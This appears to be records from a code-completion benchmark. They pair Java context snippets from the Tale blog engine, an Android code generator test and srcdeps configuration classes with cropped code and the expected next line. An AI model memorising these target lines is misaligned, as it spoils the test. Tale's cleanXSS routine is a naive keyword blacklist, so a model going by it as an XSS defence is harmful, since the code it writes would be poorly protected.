.order(Contents::getCreated, OrderBy.DESC)\n .page(1, limit);\n\n return contentsPage.getRows();\n }\n\n // 随机文章\n if (Types.RANDOM_ARTICLE.equals(type)) {\n List<Integer> cids = select().bySQL(Integer.class,\n \"select cid from t_contents where type = ? and status = ? order by random() * cid limit ?\",\n Types.ARTICLE, Types.PUBLISH, limit).all();\n if (BladeKit.isNotEmpty(cids)) {\n return select().from(Contents.class).in(Contents::getCid, cids).all();\n }\n }\n return new ArrayList<>();\n }\n\n /**\n * 获取后台统计数据\n */\n public Statistics getStatistics() {\n\n Statistics statistics = mapCache.get(Types.SYS_STATISTICS);\n if (null != statistics) {\n return statistics;\n }\n\n statistics = new Statistics();\n\n long articles = select().from(Contents.class).where(Contents::getType, Types.ARTICLE)\n .and(Contents::getStatus, Types.PUBLISH).count();\n long pages = select().from(Contents.class).where(Contents::getType, Types.PAGE)\n .and(Contents::getStatus, Types.PUBLISH).count();\n long comments = select().from(Comments.class).count();\n long attachs = select().from(Attach.class).count();\n long tags = select().from(Metas.class).where(Metas::getType, Types.TAG).count();\n long categories = select().from(Metas.class).where(Metas::getType, Types.CATEGORY).count();\n\n statistics.setArticles(articles);\n statistics.setPages(pages);\n statistics.setComments(comments);\n statistics.setAttachs(attachs);\n statistics.setTags(tags);\n statistics.setCategories(categories);\n\n mapCache.set(Types.SYS_STATISTICS, statistics);\n return statistics;\n }\n\n /**\n * 查询文章归档\n */\n public List<Archive> getArchives() {\n String sql =\n \"select strftime('%Y年%m月', datetime(created, 'unixepoch') ) as date_str, count(*) as count from t_contents \"\n +\n \"where type = 'post' and status = 'publish' group by date_str order by date_str desc\";\n\n List<Archive> archives = select().bySQL(Archive.class, sql).all();\n if (null != archives) {\n return archives.stream()\n .map(this::parseArchive)\n .collect(Collectors.toList());\n }\n return new ArrayList<>(0);\n }\n\n private Archive parseArchive(Archive archive) {\n String dateStr = archive.getDateStr();\n Date sd = DateKit.toDate(dateStr + \"01\", \"yyyy年MM月dd\");\n archive.setDate(sd);\n int start = DateKit.toUnix(sd);\n Calendar calender = Calendar.getInstance();\n calender.setTime(sd);\n calender.add(Calendar.MONTH, 1);\n Date endSd = calender.getTime();\n int end = DateKit.toUnix(endSd) - 1;\n\n List<Contents> contents = select().from(Contents.class)\n .where(Contents::getType, Types.ARTICLE)\n .and(Contents::getStatus, Types.PUBLISH)\n .and(Contents::getCreated).gt(start)\n .and(Contents::getCreated).lt(end)\n .order(Contents::getCreated, OrderBy.DESC)\n .all();\n\n archive.setArticles(contents);\n return archive;\n }\n\n /**\n * 查询一条评论\n *\n * @param coid 评论主键\n */\n public Comments getComment(Integer coid) {\n if (null != coid) {\n return select().from(Comments.class).byId(coid);\n }\n return null;\n }\n\n /**\n * 系统备份\n */\n public BackResponse backup(String bkType, String bkPath, String fmt) throws Exception {\n BackResponse backResponse = new BackResponse();\n if (\"attach\".equals(bkType)) {\n if (StringKit.isBlank(bkPath)) {\n throw new ValidatorException(\"请输入备份文件存储路径\");\n }\n if (!Files.isDirectory(Paths.get(bkPath))) {\n throw new ValidatorException(\"请输入一个存在的目录\");\n }\n String bkAttachDir = CLASSPATH + \"upload\";\n String bkThemesDir = CLASSPATH + \"templates/themes\";\n\n String fname = DateKit.toString(new Date(), fmt) + \"_\" + StringKit.rand(5) + \".zip\";\n\n String attachPath = bkPath + \"/\" + \"attachs_\" + fname;\n String themesPath = bkPath + \"/\" + \"themes_\" + fname;\n\n backResponse.setAttach_path(attachPath);\n backResponse.setTheme_path(themesPath);\n }\n // 备份数据库\n if (\"db\".equals(bkType)) {\n String filePath = \"upload/\" + DateKit.toString(new Date(), \"yyyyMMddHHmmss\") + \"_\"\n + StringKit.rand(8) + \".db\";\n String cp = CLASSPATH + filePath;\n Files.createDirectory(Paths.get(cp));\n Files.copy(Paths.get(SqliteJdbc.DB_PATH), Paths.get(cp));\n backResponse.setSql_path(\"/\" + filePath);\n // 10秒后删除备份文件\n new Timer().schedule(new TimerTask() {\n @Override\n public void run() {\n new File(cp).delete();\n }\n }, 10 * 1000);\n }\n return backResponse;\n }\n\n /**\n * 获取分类/标签列表\n */\n public List<Metas> getMetas(String searchType, String type, int limit) {\n\n if (StringKit.isBlank(searchType) || StringKit.isBlank(type)) {\n return new ArrayList<>(0);\n }\n\n if (limit < 1 || limit > TaleConst.MAX_POSTS) {\n limit = 10;\n }\n\n // 获取最新的项目\n if (Types.RECENT_META.equals(searchType)) {\n String sql =\n \"select a.*, count(b.cid) as count from t_metas a left join `t_relationships` b on a.mid = b.mid \"\n +\n \"where a.type = ? group by a.mid order by count desc, a.mid desc limit ?\";\n\n return select().bySQL(Metas.class, sql, type, limit).all();\n }\n\n // 随机获取项目\n if (Types.RANDOM_META.equals(searchType)) {\n List<Integer> mids = select().bySQL(Integer.class,\n \"select mid from t_metas where type = ? order by random() * mid limit ?\",\n type, limit).all();\n if (BladeKit.isNotEmpty(mids)) {\n String in = TaleUtils.listToInSql(mids);\n String sql =\n \"select a.*, count(b.cid) as count from t_metas a left join `t_relationships` b on a.mid = b.mid \"\n +\n \"where a.mid in \" + in + \"group by a.mid order by count desc, a.mid desc\";\n\n return select().bySQL(Metas.class, sql).all();\n }\n }\n return new ArrayList<>(0);\n }\n\n /**\n * 获取相邻的文章\n *\n * @param type 上一篇:prev | 下一篇:next\n * @param created 当前文章创建时间\n */\n public Contents getNhContent(String type, Integer created) {\n Contents contents = null;\n if (Types.NEXT.equals(type)) {\n contents = select().bySQL(Contents.class,\n \"SELECT * FROM t_contents WHERE type = ? AND status = ? AND created > ? ORDER BY created ASC LIMIT 1\",\n Types.ARTICLE, Types.PUBLISH, created).one();\n }\n if (Types.PREV.equals(type)) {\n contents = select().bySQL(Contents.class,\n \"SELECT * FROM t_contents WHERE type = ? AND status = ? AND created < ? ORDER BY created DESC LIMIT 1\",\n Types.ARTICLE, Types.PUBLISH, created).one();\n }\n return contents;\n }\n\n /**\n * 获取文章的评论\n *\n * @param cid 文章id\n * @param page 页码\n * @param limit 每页条数\n */\n public Page<Comment> getComments(Integer cid, int page, int limit) {\n return commentsService.getComments(cid, page, limit);\n }\n\n /**\n * 获取文章的评论总数\n *\n * @param cid 文章id\n */\n public long getCommentCount(Integer cid) {\n return commentsService.getCommentCount(cid);\n }\n\n /**\n * 清楚缓存\n *\n * @param key 缓存key\n */\n public void cleanCache(String key) {\n if (StringKit.isNotBlank(key)) {\n if (\"*\".equals(key)) {\n mapCache.clean();\n } else {\n mapCache.del(key);\n }\n }\n }\n\n}", "public class TaleUtils {\n\n /**\n * 一周\n */\n private static final int ONE_MONTH = 7 * 24 * 60 * 60;\n\n /**\n * 匹配邮箱正则\n */\n private static final Pattern VALID_EMAIL_ADDRESS_REGEX =\n Pattern.compile(\"^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\\\.[A-Z]{2,6}$\", Pattern.CASE_INSENSITIVE);\n\n private static final Pattern SLUG_REGEX = Pattern.compile(\"^[A-Za-z0-9_-]{3,50}$\", Pattern.CASE_INSENSITIVE);\n\n /**\n * 设置记住密码 cookie\n */\n public static void setCookie(RouteContext context, Integer uid) {\n boolean isSSL = Commons.site_url().startsWith(\"https\");\n\n String token = EncryptKit.md5(UUID.UU64());\n RememberMe rememberMe = new RememberMe();\n rememberMe.setUid(uid);\n rememberMe.setExpires(DateKit.nowUnix() + ONE_MONTH);\n rememberMe.setRecentIp(Collections.singletonList(context.address()));\n rememberMe.setToken(token);\n\n long count = select().from(Options.class).where(Options::getName, OPTION_SAFE_REMEMBER_ME).count();\n if (count == 0) {\n Options options = new Options();\n options.setName(OPTION_SAFE_REMEMBER_ME);\n options.setValue(JsonKit.toString(rememberMe));\n options.setDescription(\"记住我 Token\");\n options.save();\n } else {\n update().from(Options.class).set(Options::getValue, JsonKit.toString(rememberMe))\n .where(Options::getName, OPTION_SAFE_REMEMBER_ME)\n .execute();\n }\n\n Cookie cookie = new Cookie();\n cookie.name(REMEMBER_IN_COOKIE);\n cookie.value(token);\n cookie.httpOnly(true);\n cookie.secure(isSSL);\n cookie.maxAge(ONE_MONTH);\n cookie.path(\"/\");\n\n context.response().cookie(cookie);\n }\n\n public static Integer getCookieUid(RouteContext context) {\n String rememberToken = context.cookie(REMEMBER_IN_COOKIE);\n if (null == rememberToken || rememberToken.isEmpty() || REMEMBER_TOKEN.isEmpty()) {\n return null;\n }\n if (!REMEMBER_TOKEN.equals(rememberToken)) {\n return null;\n }\n Options options = select().from(Options.class).where(Options::getName, OPTION_SAFE_REMEMBER_ME).one();\n if (null == options) {\n return null;\n }\n RememberMe rememberMe = JsonKit.formJson(options.getValue(), RememberMe.class);\n if (rememberMe.getExpires() < DateKit.nowUnix()) {\n return null;\n }\n if (!rememberMe.getRecentIp().contains(context.address())) {\n return null;\n }\n return rememberMe.getUid();\n }\n\n /**\n * 返回当前登录用户\n */\n public static Users getLoginUser() {\n Session session = com.blade.mvc.WebContext.request().session();\n if (null == session) {\n return null;\n }\n Users user = session.attribute(TaleConst.LOGIN_SESSION_KEY);\n return user;\n }\n\n /**\n * 退出登录状态\n */\n public static void logout(RouteContext context) {\n TaleConst.REMEMBER_TOKEN = \"\";\n context.session().remove(TaleConst.LOGIN_SESSION_KEY);\n context.response().removeCookie(TaleConst.REMEMBER_IN_COOKIE);\n context.redirect(Commons.site_url());\n }\n\n /**\n * markdown转换为html\n */\n public static String mdToHtml(String markdown) {\n if (StringKit.isBlank(markdown)) {\n return \"\";\n }\n\n List<Extension> extensions = Collections.singletonList(TablesExtension.create());\n Parser parser = Parser.builder().extensions(extensions).build();\n Node document = parser.parse(markdown);\n HtmlRenderer renderer = HtmlRenderer.builder()\n .attributeProviderFactory(context -> new LinkAttributeProvider())\n .extensions(extensions).build();\n\n String content = renderer.render(document);\n content = Commons.emoji(content);\n\n // 支持网易云音乐输出\n if (TaleConst.BCONF.getBoolean(ENV_SUPPORT_163_MUSIC, true) && content.contains(MP3_PREFIX)) {\n content = content.replaceAll(MUSIC_REG_PATTERN, MUSIC_IFRAME);\n }\n // 支持gist代码输出\n if (TaleConst.BCONF.getBoolean(ENV_SUPPORT_GIST, true) && content.contains(GIST_PREFIX_URL)) {\n content = content.replaceAll(GIST_REG_PATTERN, GIST_REPLATE_PATTERN);\n }\n return content;\n }\n\n static class LinkAttributeProvider implements AttributeProvider {\n @Override\n public void setAttributes(Node node, String tagName, Map<String, String> attributes) {\n if (node instanceof Link) {\n attributes.put(\"target\", \"_blank\");\n }\n if (node instanceof org.commonmark.node.Image) {\n attributes.put(\"title\", attributes.get(\"alt\"));\n }\n }\n }\n\n /**\n * 提取html中的文字\n */\n public static String htmlToText(String html) {\n if (StringKit.isNotBlank(html)) {\n return html.replaceAll(\"(?s)<[^>]*>(\\\\s*<[^>]*>)*\", \" \");\n }\n return \"\";\n }\n\n /**\n * 判断文件是否是图片类型\n */\n public static boolean isImage(File imageFile) {\n if (!imageFile.exists()) {\n return false;\n }\n try {\n Image img = ImageIO.read(imageFile);\n if (img == null || img.getWidth(null) <= 0 || img.getHeight(null) <= 0) {\n return false;\n }\n return true;\n } catch (Exception e) {\n return false;\n }\n }\n\n /**\n * 判断是否是邮箱\n */\n public static boolean isEmail(String emailStr) {\n Matcher matcher = VALID_EMAIL_ADDRESS_REGEX.matcher(emailStr);\n return matcher.find();\n }\n\n /**\n * 判断是否是合法路径\n */\n public static boolean isPath(String slug) {\n if (StringKit.isNotBlank(slug)) {\n if (slug.contains(\"/\") || slug.contains(\" \") || slug.contains(\".\")) {\n return false;\n }\n Matcher matcher = SLUG_REGEX.matcher(slug);\n return matcher.find();\n }\n return false;\n }\n\n /**\n * 获取RSS输出\n */\n public static String getRssXml(java.util.List<Contents> articles) throws FeedException {\n Channel channel = new Channel(\"rss_2.0\");\n channel.setTitle(TaleConst.OPTIONS.get(\"site_title\", \"\"));\n channel.setLink(Commons.site_url());\n channel.setDescription(TaleConst.OPTIONS.get(\"site_description\", \"\"));\n channel.setLanguage(\"zh-CN\");\n java.util.List<Item> items = new ArrayList<>();\n articles.forEach(post -> {\n Item item = new Item();\n item.setTitle(post.getTitle());\n Content content = new Content();\n String value = Theme.article(post.getContent());\n\n char[] xmlChar = value.toCharArray();\n for (int i = 0; i < xmlChar.length; ++i) {\n if (xmlChar[i] > 0xFFFD) {\n //直接替换掉0xb\n xmlChar[i] = ' ';\n } else if (xmlChar[i] < 0x20 && xmlChar[i] != 't' & xmlChar[i] != 'n' & xmlChar[i] != 'r') {\n //直接替换掉0xb\n xmlChar[i] = ' ';\n }\n }\n\n value = new String(xmlChar);\n\n content.setValue(value);\n item.setContent(content);\n item.setLink(Theme.permalink(post.getCid(), post.getSlug()));\n item.setPubDate(DateKit.toDate(post.getCreated()));\n items.add(item);\n });\n channel.setItems(items);\n WireFeedOutput out = new WireFeedOutput();\n return out.outputString(channel);\n }\n\n private static final String SITEMAP_HEAD = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\" +\n \"<urlset xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\" xsi:schemaLocation=\\\"http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd\\\" xmlns=\\\"http://www.sitemaps.org/schemas/sitemap/0.9\\\">\";\n\n static class Url {\n String loc;\n String lastmod;\n\n public Url(String loc) {\n this.loc = loc;\n }\n }\n\n public static String getSitemapXml(List<Contents> articles) {\n List<Url> urls = articles.stream()\n .map(TaleUtils::parse)\n .collect(Collectors.toList());\n urls.add(new Url(Commons.site_url() + \"/archives\"));\n\n String urlBody = urls.stream()\n .map(url -> {\n String s = \"<url><loc>\" + url.loc + \"</loc>\";\n if (null != url.lastmod) {\n s += \"<lastmod>\" + url.lastmod + \"</lastmod>\";\n }\n return s + \"</url>\";\n })\n .collect(Collectors.joining(\"\\n\"));\n\n return SITEMAP_HEAD + urlBody + \"</urlset>\";\n }\n\n private static Url parse(Contents contents) {\n Url url = new Url(Commons.site_url() + \"/article/\" + contents.getCid());\n url.lastmod = DateKit.toString(contents.getModified(), \"yyyy-MM-dd'T'HH:mm:ss.SSSXXX\");\n return url;\n }\n\n /**\n * 替换HTML脚本\n */\n public static String cleanXSS(String value) {\n //You'll need to remove the spaces from the html entities below\n value = value.replaceAll(\"<\", \"&lt;\").replaceAll(\">\", \"&gt;\");\n value = value.replaceAll(\"\\\\(\", \"&#40;\").replaceAll(\"\\\\)\", \"&#41;\");\n value = value.replaceAll(\"'\", \"&#39;\");\n value = value.replaceAll(\"eval\\\\((.*)\\\\)\", \"\");\n value = value.replaceAll(\"[\\\\\\\"\\\\\\'][\\\\s]*javascript:(.*)[\\\\\\\"\\\\\\']\", \"\\\"\\\"\");\n value = value.replaceAll(\"script\", \"\");\n return value;\n }\n\n /**\n * 获取某个范围内的随机数\n *\n * @param max 最大值\n * @param len 取多少个\n * @return\n */\n public static int[] random(int max, int len) {\n int values[] = new int[max];\n int temp1, temp2, temp3;\n for (int i = 0; i < values.length; i++) {\n values[i] = i + 1;\n }\n //随机交换values.length次\n for (int i = 0; i < values.length; i++) {\n temp1 = Math.abs(ThreadLocalRandom.current().nextInt()) % (values.length - 1); //随机产生一个位置\n temp2 = Math.abs(ThreadLocalRandom.current().nextInt()) % (values.length - 1); //随机产生另一个位置\n if (temp1 != temp2) {\n temp3 = values[temp1];\n values[temp1] = values[temp2];\n values[temp2] = temp3;\n }\n }\n return Arrays.copyOf(values, len);\n }\n\n /**\n * 将list转为 (1, 2, 4) 这样的sql输出\n *\n * @param list\n * @param <T>\n * @return\n */\n public static <T> String listToInSql(java.util.List<T> list) {\n StringBuffer sbuf = new StringBuffer();\n list.forEach(item -> sbuf.append(',').append(item.toString()));\n sbuf.append(')');\n return '(' + sbuf.substring(1);\n }\n\n public static final String UP_DIR = CLASSPATH.substring(0, CLASSPATH.length() - 1);\n\n public static String getFileKey(String name) {\n String prefix = \"/upload/\" + DateKit.toString(new Date(), \"yyyy/MM\");\n String dir = UP_DIR + prefix;\n if (!Files.exists(Paths.get(dir))) {\n new File(dir).mkdirs();\n }\n return prefix + \"/\" + com.blade.kit.UUID.UU32() + \".\" + StringKit.fileExt(name);\n }\n\n public static String getFileName(String path) {\n File tempFile = new File(path.trim());\n String fileName = tempFile.getName();\n\n return fileName;\n }\n\n public static String buildURL(String url) {\n if (url.endsWith(\"/\")) {\n url = url.substring(0, url.length() - 1);\n }\n if (!url.startsWith(\"http\")) {\n url = \"http://\".concat(url);\n }\n return url;\n }\n}" ]
import com.blade.kit.JsonKit; import com.blade.kit.StringKit; import com.blade.kit.json.Ason; import com.blade.mvc.WebContext; import com.blade.mvc.http.Request; import com.tale.bootstrap.TaleConst; import com.tale.model.dto.Comment; import com.tale.model.dto.Types; import com.tale.model.entity.Comments; import com.tale.model.entity.Contents; import com.tale.model.entity.Metas; import com.tale.service.SiteService; import com.tale.utils.TaleUtils; import io.github.biezhi.anima.enums.OrderBy; import io.github.biezhi.anima.page.Page; import jetbrick.template.runtime.InterpretContext; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.List; import static io.github.biezhi.anima.Anima.select;
*/ public static String theNext() { Contents contents = article_next(); if (null != contents) { return theNext(title(contents)); } return ""; } /** * 当前文章的下一篇文章链接 * * @param title 文章标题 * @return */ public static String theNext(String title) { Contents contents = article_next(); if (null != contents) { return "<a href=\"" + permalink(contents) + "\" title=\"" + title(contents) + "\">" + title + "</a>"; } return ""; } /** * 当前文章的下一篇文章链接 * * @return */ public static String thePrev() { Contents contents = article_prev(); if (null != contents) { return thePrev(title(contents)); } return ""; } /** * 当前文章的下一篇文章链接 * * @param title 文章标题 * @return */ public static String thePrev(String title) { Contents contents = article_prev(); if (null != contents) { return "<a href=\"" + permalink(contents) + "\" title=\"" + title(contents) + "\">" + title + "</a>"; } return ""; } /** * 最新文章 * * @param limit * @return */ public static List<Contents> recent_articles(int limit) { if (null == siteService) { return new ArrayList<>(0); } return siteService.getContens(Types.RECENT_ARTICLE, limit); } /** * 随机获取文章 * * @param limit * @return */ public static List<Contents> rand_articles(int limit) { if (null == siteService) { return new ArrayList<>(0); } return siteService.getContens(Types.RANDOM_ARTICLE, limit); } /** * 最新评论 * * @param limit * @return */ public static List<Comments> recent_comments(int limit) { if (null == siteService) { return new ArrayList<>(0); } return siteService.recentComments(limit); } /** * 获取分类列表 * * @return */ public static List<Metas> categories(int limit) { if (null == siteService) { return new ArrayList<>(0); } return siteService.getMetas(Types.RECENT_META, Types.CATEGORY, limit); } /** * 随机获取limit个分类 * * @param limit * @return */ public static List<Metas> rand_categories(int limit) { if (null == siteService) { return new ArrayList<>(0); } return siteService.getMetas(Types.RANDOM_META, Types.CATEGORY, limit); } /** * 获取所有分类 * * @return */ public static List<Metas> categories() {
return categories(TaleConst.MAX_POSTS);
0
tmorcinek/android-codegenerator-library
src/test/java/com/morcinek/android/codegenerator/BActivityCodeGeneratorTest.java
[ "public class TemplateCodeGenerator {\n\n private BuildersCollection buildersCollection;\n\n private ResourceProvidersFactory resourceProvidersFactory;\n\n private TemplateManager templateManager;\n\n public TemplateCodeGenerator(String templateName, ResourceProvidersFactory resourceProvidersFactory, TemplatesProvider templatesProvider) {\n this.resourceProvidersFactory = resourceProvidersFactory;\n this.buildersCollection = new BuildersCollection(templatesProvider);\n this.templateManager = new TemplateManager(templatesProvider.provideTemplateForName(templateName));\n }\n\n public String generateCode(List<Resource> resources, String fileName) {\n buildersCollection.registerCodeBuilders(getResourceProviders(resources), fileName);\n\n Map<String, CodeBuilder> builderMap = buildersCollection.getBuilderMap();\n for (String key : builderMap.keySet()) {\n templateManager.addTemplateValue(key, builderMap.get(key).builtString());\n }\n\n return templateManager.getResult();\n }\n\n private List<ResourceProvider> getResourceProviders(List<Resource> resources) {\n List<ResourceProvider> resourceProviders = Lists.newArrayList();\n for (Resource resource : resources) {\n resourceProviders.add(resourceProvidersFactory.createResourceProvider(resource));\n }\n return resourceProviders;\n }\n}", "public class BActivityResourceProvidersFactory implements ResourceProvidersFactory {\n\n @Override\n public ResourceProvider createResourceProvider(Resource resource) {\n if (isApplicable(resource, \"Button\", \"ImageButton\")) {\n return new BButtonProvider(resource);\n } else if (isApplicable(resource, \"List\")) {\n return new BListProvider(resource);\n }\n return new BDefaultProvider(resource);\n }\n\n private boolean isApplicable(Resource resource, String... resourcesNames) {\n return Lists.newArrayList(resourcesNames).contains(resource.getResourceType().getFullName());\n }\n}", "public class ResourceTemplatesProvider implements TemplatesProvider {\n\n @Override\n public String provideTemplateForName(String templateName) {\n URL url = Resources.getResource(templateName);\n try {\n return Resources.toString(url, Charset.defaultCharset());\n } catch (IOException e) {\n e.printStackTrace();\n }\n return null;\n }\n}", "public interface TemplatesProvider {\n\n String provideTemplateForName(String templateName);\n}", "public class XMLResourceExtractor implements ResourceExtractor {\n\n private StringExtractor<ResourceId> resourceIdExtractor;\n\n private StringExtractor<ResourceType> resourceTypeExtractor;\n\n public static XMLResourceExtractor createResourceExtractor() {\n return new XMLResourceExtractor(new ResourceIdExtractor(), new ResourceTypeExtractor());\n }\n\n protected XMLResourceExtractor(StringExtractor<ResourceId> resourceIdExtractor, StringExtractor<ResourceType> resourceTypeExtractor) {\n this.resourceIdExtractor = resourceIdExtractor;\n this.resourceTypeExtractor = resourceTypeExtractor;\n }\n\n @Override\n public List<Resource> extractResourceObjectsFromStream(InputStream inputStream) throws ParserConfigurationException, SAXException, XPathExpressionException, IOException {\n List<Resource> resources = new ArrayList<Resource>();\n NodeList nodeList = extractWidgetNodesWithId(inputStream);\n for (int i = 0; i < nodeList.getLength(); i++) {\n resources.add(getResourceObject(nodeList.item(i)));\n }\n return resources;\n }\n\n private Resource getResourceObject(Node node) {\n ResourceId resourceId = resourceIdExtractor.extractFromString(getIdAttributeValue(node));\n ResourceType resourceType = resourceTypeExtractor.extractFromString(node.getNodeName());\n return new Resource(resourceId, resourceType);\n }\n\n private String getIdAttributeValue(Node node) {\n return node.getAttributes().getNamedItem(\"android:id\").getNodeValue();\n }\n\n private NodeList extractWidgetNodesWithId(InputStream inputStream) throws ParserConfigurationException, SAXException,\n IOException, XPathExpressionException {\n DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n // factory.setNamespaceAware(true); // never forget this!\n DocumentBuilder builder = factory.newDocumentBuilder();\n Document doc = builder.parse(inputStream);\n XPathFactory pathFactory = XPathFactory.newInstance();\n XPath xPath = pathFactory.newXPath();\n XPathExpression expression = xPath.compile(\"//*[@id]\");\n return (NodeList) expression.evaluate(doc, XPathConstants.NODESET);\n }\n}", "public class FileNameExtractor implements StringExtractor<String> {\n\n @Override\n public String extractFromString(String filePath) {\n return new File(filePath).getName().replaceFirst(\".xml\", \"\");\n }\n}", "public class InputStreamProvider {\n\n public InputStream getStreamFromResource(String name) {\n return getClass().getResourceAsStream(\"/\" + name);\n }\n}" ]
import com.morcinek.android.codegenerator.codegeneration.TemplateCodeGenerator; import com.morcinek.android.codegenerator.codegeneration.providers.factories.BActivityResourceProvidersFactory; import com.morcinek.android.codegenerator.codegeneration.templates.ResourceTemplatesProvider; import com.morcinek.android.codegenerator.codegeneration.templates.TemplatesProvider; import com.morcinek.android.codegenerator.extractor.XMLResourceExtractor; import com.morcinek.android.codegenerator.extractor.string.FileNameExtractor; import com.morcinek.android.codegenerator.util.InputStreamProvider; import org.fest.assertions.Assertions; import org.junit.Before; import org.junit.Test; import org.xml.sax.SAXException; import javax.xml.parsers.ParserConfigurationException; import javax.xml.xpath.XPathExpressionException; import java.io.IOException;
package com.morcinek.android.codegenerator; public class BActivityCodeGeneratorTest { private CodeGenerator codeGenerator; private InputStreamProvider inputStreamProvider = new InputStreamProvider();
private TemplatesProvider templatesProvider = new ResourceTemplatesProvider();
3
srcdeps/srcdeps-core
srcdeps-core/src/main/java/org/srcdeps/core/config/ScmRepositoryGradle.java
[ "public class CharStreamSource {\n\n public enum Scheme {\n classpath {\n @Override\n public Reader openReader(String resource, Charset encoding, Path resolveAgainst) {\n return new InputStreamReader(getClass().getResourceAsStream(resource), encoding);\n }\n }, //\n file {\n @Override\n public Reader openReader(String resource, Charset encoding, Path resolveAgainst) throws IOException {\n return Files.newBufferedReader(resolveAgainst.resolve(Paths.get(resource)), encoding);\n }\n }, //\n literal {\n @Override\n public Reader openReader(String resource, Charset encoding, Path resolveAgainst) {\n return new StringReader(resource);\n }\n };\n public abstract Reader openReader(String resource, Charset encoding, Path resolveAgainst) throws IOException;\n }\n\n private static final CharStreamSource DEFAULT_MODEL_TRANSFORMER = new CharStreamSource(Scheme.classpath,\n \"/gradle/settings/srcdeps-model-transformer.gradle\");\n\n /**\n * @return the {@link CharStreamSource} of the default Gradle model transformer\n */\n public static CharStreamSource defaultModelTransformer() {\n return DEFAULT_MODEL_TRANSFORMER;\n }\n\n public static CharStreamSource of(String value) {\n for (Scheme scheme : Scheme.values()) {\n final String schemeName = scheme.name();\n if (value.startsWith(schemeName)) {\n int len = schemeName.length();\n if (value.length() >= len && value.charAt(len) == ':') {\n return new CharStreamSource(scheme, value.substring(len + 1));\n }\n }\n }\n throw new IllegalArgumentException(\n String.format(\"Cannot parse [%s] to a \" + CharStreamSource.class.getSimpleName(), value));\n };\n\n private final String resource;\n\n private final Scheme scheme;\n\n public CharStreamSource(Scheme scheme, String resource) {\n super();\n this.scheme = scheme;\n this.resource = resource;\n }\n\n @Override\n public boolean equals(Object obj) {\n if (this == obj)\n return true;\n if (obj == null)\n return false;\n if (getClass() != obj.getClass())\n return false;\n CharStreamSource other = (CharStreamSource) obj;\n if (scheme != other.scheme)\n return false;\n if (resource == null) {\n if (other.resource != null)\n return false;\n } else if (!resource.equals(other.resource))\n return false;\n return true;\n }\n\n /**\n * @return a scheme specific resource identifier, see {@link CharStreamSource}.\n */\n public String getResource() {\n return resource;\n }\n\n /**\n * @return the {@link Scheme}\n */\n public Scheme getScheme() {\n return scheme;\n }\n\n @Override\n public int hashCode() {\n final int prime = 31;\n int result = 1;\n result = prime * result + ((resource == null) ? 0 : resource.hashCode());\n result = prime * result + ((scheme == null) ? 0 : scheme.hashCode());\n return result;\n }\n\n /**\n * Opens a {@link Reader} based on the {@link #scheme} and {@link #resource} using\n * {@link Scheme#openReader(String, Charset, Path)}.\n *\n * @param encoding the encoding to use when creating the reader. Required only for {@link Scheme#file}.\n * @param resolveAgainst the directory to resolve the {@link #resource} against. Required only for\n * {@link Scheme#file}.\n * @return a {@link Reader}\n * @throws IOException when the {@code cannot be opened}.\n */\n public Reader openReader(Charset encoding, Path resolveAgainst) throws IOException {\n return scheme.openReader(resource, encoding, resolveAgainst);\n }\n\n @Override\n public String toString() {\n return scheme + \":\" + resource;\n }\n\n}", "public interface Node {\n /**\n * Apply the defaults or apply some kind of inheritance in case the values of some attributes were not set\n * explicitly. See also {@link DefaultsAndInheritanceVisitor}.\n *\n * @param configurationStack the stack of ancestor configuration nodes. Can be queried to inherit values.\n */\n void applyDefaultsAndInheritance(Stack<Node> configurationStack);\n\n /**\n * @return a list of comment lines that should appear before this node\n */\n List<String> getCommentBefore();\n\n /**\n * @return the name of the present node that is supposed to be unique within the parent node. Can be {@code null} in\n * case this {@link Node} is an element of a {@link NodeList}.\n */\n String getName();\n\n /**\n * Fully reset the state of this {@link Node} using the given {@code source} {@link Node}.\n *\n * @param source the {@link Node} to take the values from\n */\n void init(Node source);\n\n /**\n * @param stack the ancestor hierarchy of this {@link Node}\n * @return {@code true} if this {@link Node}'s internal state has not been set yet or if the state is in the\n * instance or implementation specific default state. Otherwise returns {@code false}\n */\n boolean isInDefaultState(Stack<Node> stack);\n\n /**\n * @return {@code true} if the name of the node will commonly contain special characters, esp. periods. Otherwise\n * returns {@code false}\n */\n boolean shouldEscapeName();\n}", "public interface ScalarNode<T> extends Node {\n /**\n * @return the default value to be used if the value of this {@link ScalarNode} is not set explicitly\n */\n T getDefaultValue();\n\n /**\n * @return the type of the value\n */\n Class<T> getType();\n\n /**\n * @return the value stored in this {@link ScalarNode}\n */\n T getValue();\n\n /**\n * Sets the value stored in this {@link ScalarNode}.\n *\n * @param value the value to set\n */\n void setValue(T value);\n}", "public class DefaultContainerNode<C extends Node> implements ContainerNode<C> {\n\n protected final Map<String, C> children = new LinkedHashMap<>();\n\n protected final List<String> commentBefore = new ArrayList<>();\n\n protected String name;\n\n private boolean shouldEscapeName;\n\n public DefaultContainerNode(String name) {\n this(name, false);\n }\n\n public DefaultContainerNode(String name, boolean shouldEscapeName) {\n super();\n this.name = name;\n this.shouldEscapeName = shouldEscapeName;\n }\n\n public void addChild(C child) {\n this.children.put(child.getName(), child);\n }\n\n public void addChildren(@SuppressWarnings(\"unchecked\") C... children) {\n for (C child : children) {\n this.children.put(child.getName(), child);\n }\n }\n\n /**\n * Does nothing in this default implementation because the state of a {@link ContainerNode} is typically given by\n * the states of its child nodes and {@link DefaultsAndInheritanceVisitor} visits the children separately.\n *\n * @param configurationStack the stack of ancestor configuration nodes. Can be queried to inherit values.\n */\n @Override\n public void applyDefaultsAndInheritance(Stack<Node> configurationStack) {\n }\n\n /** {@inheritDoc} */\n @Override\n public Map<String, C> getChildren() {\n return children;\n }\n\n @Override\n public List<String> getCommentBefore() {\n return commentBefore;\n }\n\n /** {@inheritDoc} */\n @Override\n public String getName() {\n return name;\n }\n\n /** {@inheritDoc} */\n @Override\n public void init(Node source) {\n if (getClass() != source.getClass()) {\n throw new IllegalArgumentException(\n String.format(\"Cannot init [%s] from [%s]\", this.getClass(), source.getClass()));\n }\n @SuppressWarnings(\"unchecked\")\n Iterator<C> sourceChildren = ((DefaultContainerNode<C>) source).getChildren().values().iterator();\n Iterator<C> targetChildren = 